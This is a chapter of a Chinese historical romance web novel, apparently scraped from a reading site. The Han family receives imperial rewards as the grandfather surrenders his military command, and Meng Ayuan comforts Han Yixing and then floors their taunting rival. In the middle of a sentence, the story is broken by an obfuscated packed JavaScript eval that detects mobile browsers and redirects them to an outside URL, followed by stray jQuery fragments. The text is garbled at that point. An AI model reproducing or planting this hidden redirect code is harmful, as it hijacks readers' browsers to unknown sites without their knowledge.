56. 第 56 章

作品:《我在古代造兵器

    曹公公迈着步子走进来,身后跟着的太监们手里捧着锦盒。


    他站定清了清嗓子,扬声道:“韩翀远接旨!”


    韩家众人跪了一地。


    曹公公将圣旨展开:“奉天承运皇帝,制曰:镇国公韩翀远,戎马半生,勋劳卓著,朕念卿年岁已高,朕每念及,未尝不叹服忠勤,深怀轸惜。今特赐……钦此!”


    他公公念完圣旨,将圣旨一折,双手递给给过去,道:“镇国公,接旨吧。”


    镇国公伸手接过,“臣韩翀远,叩谢官家隆恩!吾皇万岁万岁万万岁!”


    曹公公吩咐随行的太监,“快把官家的赏赐抬进来,仔细放好了。”


    他对韩翀远说:“镇国公,官家赐下这些赏赐,也是盼着韩府能永享福泽,还请镇国公莫辜负官家。”


    镇国公沉声道:“还请公公回禀官家,臣定安守本分,不辜负官家的良苦用心。”


    曹公公拱手道:“老奴这就回宫复命,国公且放心。”


    宫里的人刚走,镇国公便回房里取了东西出来,对韩翊川说:“我进宫一趟。”


    韩翊川和韩夫人都眉头紧锁,面色凝重。


    镇国公拍了拍韩翊川的肩膀,沉重道:“这一天总会来的,或早或晚罢了。”


    说罢,他理了理衣襟,径直迈步出了府门。


    镇国公走了许久,韩夫人才缓过神来,她转身走向那堆赏赐,从层层段锦中抽出一卷轴,展开半截,露出里头墨色淋漓的山水,眼底勉强挤出几分笑意,唤道:“元初,你看。”


    韩亦行循声望去,目光落在那画上,眼中却无半分热切。


    韩夫人道:“这不是你一直想收藏的那副画吗?官家特意赏赐给你的。”


    韩亦行只淡淡“嗯”了一声,连手都没伸,转身便大步回了自己的屋子,“砰”的一声将门甩上。


    韩夫人望着他的身影无奈叹气,慢慢收敛了神色,转头看向一旁的孟阿沅,尬然笑道:“他平常不这样的,许是今日心绪不宁,心里不痛快了。”


    她将那卷画递到孟阿沅手中,声音里带着几分恳求:“阿沅,你去劝劝他吧。”


    孟阿沅接过画,犹豫问道:“伯母,恕阿沅愚钝,今日到底发生什么事了?昨日宫宴上,他就不对劲了,今日又……”


    韩夫人叹了口气,“阿沅,要不你还是去问元初吧,他会告诉你的。”


    孟阿沅点点头,抱着画轴敲响韩亦行的房门,“韩亦行,是我。”


    里面的人说:“进。”


    孟阿沅推门而入,见韩亦行正站在窗边,她缓缓走过去,陪他站在那。


    “我没事。”他的声音很轻。


    他依旧微微低着头,视线落在窗框上,一动不动。孟阿沅就这样陪他站着,窗外的风声都清晰得过分,不知过了多久,她才轻声开口:“韩亦行,你愿意跟我说说吗?”


    韩亦行缓缓转过头来,只看她一眼,便又转了回去。然而孟阿沅一眼便瞧见他泛红的眼眶,她心头猛地一揪,慌张得想要伸手触碰他,却在临了收了手。


    “韩亦行,你怎么了?”


    韩亦行低着头,自责道:“阿沅,都怪我,若不是我非要在灵州逞英雄,惹了官家忌惮,祖父也不会因我丢了兵权。”


    他别开脸,挫败道:“我原以为,若我一直胡闹下去,韩家就能安安稳稳,可我见了那么无家可归的可怜人,我又想帮帮他们,我总以为自己能谋划周全,能护得了家人,到头来,却还是牵连了祖父。”


    这一刻,她全明白了,她一直以为韩亦行惯是个没心没肺的,以为他生性淡漠,原来心里也这么苦。


    “韩亦行,这不怪你,很多时候都身不由己,你要相信自己的选择,因为即使你选了另一条路,你也会后悔为什么不做另外的选择,所以,不要后悔,只要你做的事情有意义,就是对的。”


    她侧过身看他,“至少,灵州有你在,能得一时安稳,不管有没有人记得你的好,你都做了自己想做的。”


    “韩亦行,你要一直往前走,还有很多人需要你,你已经做出了选择,继续遵从自己的内心吧。”


    “那你会陪着我吗?”


    韩亦行转过身来,恳切地望着她,急于知道她的答案。


    “会。”


    韩亦行眨了几下眼睛,仰着头看向窗外的天空,轻声道:“阿沅,今日天气很好,你陪我出去走走吧。”


    孟阿沅探身看他,“你心情好些了?”


    韩亦行笑了一声,“阿沅,有你在这,我的心情能差到哪里?”


    孟阿沅状似无意地将画轴打开,在画上扫了几眼,连连赞叹:“虽然我是个粗人不懂画,但是你看这幅,确实是不可多得的名作。”


    “那当然了,为了这画,我求官家求了好几次,官家每次都婉拒我,这次终于肯赏给我了,不过代价有点大。”他凑上来,与她一同欣赏画作。


    “终于能好好欣赏了,阿沅,你说我该把它挂在哪里呢?”


    孟阿沅望着他笑,“你不放起来吗?不怕挂起来落灰吗?”


    韩亦行思考一下,“你说得有道理,哎,不过,阿沅你喜欢这幅画吗?你若喜欢,你就拿去。”


    “你还是自己留着吧。”


    “好,那韩某便笑纳了。”


    他将画小心翼翼卷起来,仔细搁在盒子里,又锁在了柜子里。


    做完这一切后,他神色淡然道:“好了,阿沅,咱们出去走走吧,说好了要带你逛上京的。”


    两人出了房门,有说有笑地往外面走去。


    两人身后不远处的廊下,韩夫人对身边的丫鬟说:“春桃,你看元初和阿沅多般配,你说,他们两个能像我和老爷一样吗?”


    春桃回道:“夫人,这几日奴婢们都看在眼里,公子对孟姑娘情真意切,孟姑娘也是,若是一切顺利,相信他们定能琴瑟和鸣,相伴一生。”


    韩夫人望着两人的背影,轻柔笑道:“但愿吧。”


    “一定会的。”


    昨夜下了雪,上京覆了满地银霜,眼馋了一年的孩童们得了父母的应允,纷纷跑到街边兴奋地打起雪仗。


    “我从前最喜欢到河堤旁散步,春天的时候,河边的杨柳垂到河里,我就站在树下,看河里的小鱼游来游去。”


    韩亦行顺手摘了一朵梅花,拿在手上饶有兴致地欣赏,“阿沅,你很像梅花。”


    “怎么说?”孟阿沅偏头看向他。


    他垂眸思忖片刻,才道:“不需要攀附他人,自有一身傲骨,跌入绝境时也能绝处逢生,心里面都有不肯认输的韧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090802|187144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    劲。


    “说得好!”


    身后忽然传来几声刻意的拍掌,两人同时转头,却见不远处站着谢临舟,天寒地冻,他手里依旧拿着折扇,眼底的得意显而易见。


    他踏过积雪,轻佻地走向二人,站定后,眼神玩味地在两人之间来回梭巡,最终将目光落在韩亦行手中的梅花上,促狭道:“元初啊,我倒想看看你,跌入绝境之后会如何做,是鲜血淋漓地爬出来,还是永远待在那?”


    韩亦行眉心紧蹙,敌对地看着他。


    “哎呀呀。”


    谢临舟走近一步,不由分说将梅花从韩亦行手中夺过,捏着花枝仔细端详。


    他轻蔑地笑着,“这梅花确实与孟小姐很像,都很美,都令我魂牵梦绕。”


    话音刚落,他手指一松,那朵梅花便坠落在雪地上,紧接着,他抬起脚对准梅花狠狠踩了下去,又泄愤似的来回碾了几下。


    谢临舟得意地抬眸,“元初,我希望你像它一样,被我踩在脚下,烂掉,再也站不起来。”


    “谢临舟!”孟阿沅气愤极了,不等韩亦行做出回应,便迅速往前一步,将他护在身后。


    谢临舟被她逼得后退一步,站稳后,他阴恻恻笑着,目光绕过孟阿沅,重新看向韩亦行,挑衅道:“元初,你何时变得这么柔弱了?还需要女子护着。”


    韩亦行蹙眉看他,眼底闪过厌恶。


    谢临舟笑着说:“元初,还没来得及恭喜你呢,昨日宫宴上,官家说要让你回京任职,你我同窗十余年,也算是从小一起长大的,我还真不想你待在那贫瘠之地,这下好了,你不日之后便能回来了。”


    他绕过孟阿沅,走到韩亦行身侧,在他耳边低声道:“算着时辰,镇国公这会儿应当已经把兵权交还给官家了吧,元初啊,这事儿你得好好谢谢我父亲。”


    “若不是我父亲在官家面前大肆赞扬你,你韩家哪能得这么多赏赐呢?听说今早,曹公公从宫里拉了几大车赏赐,怎么样,开心吗?是不是要好几宿睡不着了?”


    谢临舟的眼神变得狠厉,“元初,你藏得挺深啊,我以前怎么没发现你有这么多本事?还有啊,被人盯着的感觉如何?不好受吧?”


    “咚!”


    谢临舟被孟阿沅拽着后衣领,重重仰摔在雪地上。


    一瞬间,刺骨寒意钻进他的身体中,谢临舟啐骂一声,刚想要站起来时,却又被孟阿沅一脚踩在胸口上,他被压得喘不过气,挣扎着要起来,可孟阿沅就是不松脚。


    她居高临下地瞪着谢临舟,指着他骂道:“谢临舟,既然你这么清楚,那你应当也知道我孟阿沅的名号吧?我警告你以后最好离他远一点,否则我就算死,也要在临死前把你们谢家一锅端了,知道吗?”


    谢临舟双手抓着她的脚腕,试图脱身,但她就像一座山压在他身上,任凭他如何使劲,都纹丝不动。


    “你装什么呢?死装男!”


    韩亦行站在她身后,莫名地笑了,他走上前拉开她,温声道:“好了阿沅,别脏了你的脚。”


    谢临舟急忙爬起来,不敢置信地瞪着两人,边后退边放下狠话:“好啊,狼狈为奸、蛇鼠一窝!你们俩给小爷等着!”


    韩亦行侧身对着孟阿沅,拱手俯身道:“多谢孟老板。”


    “客气!”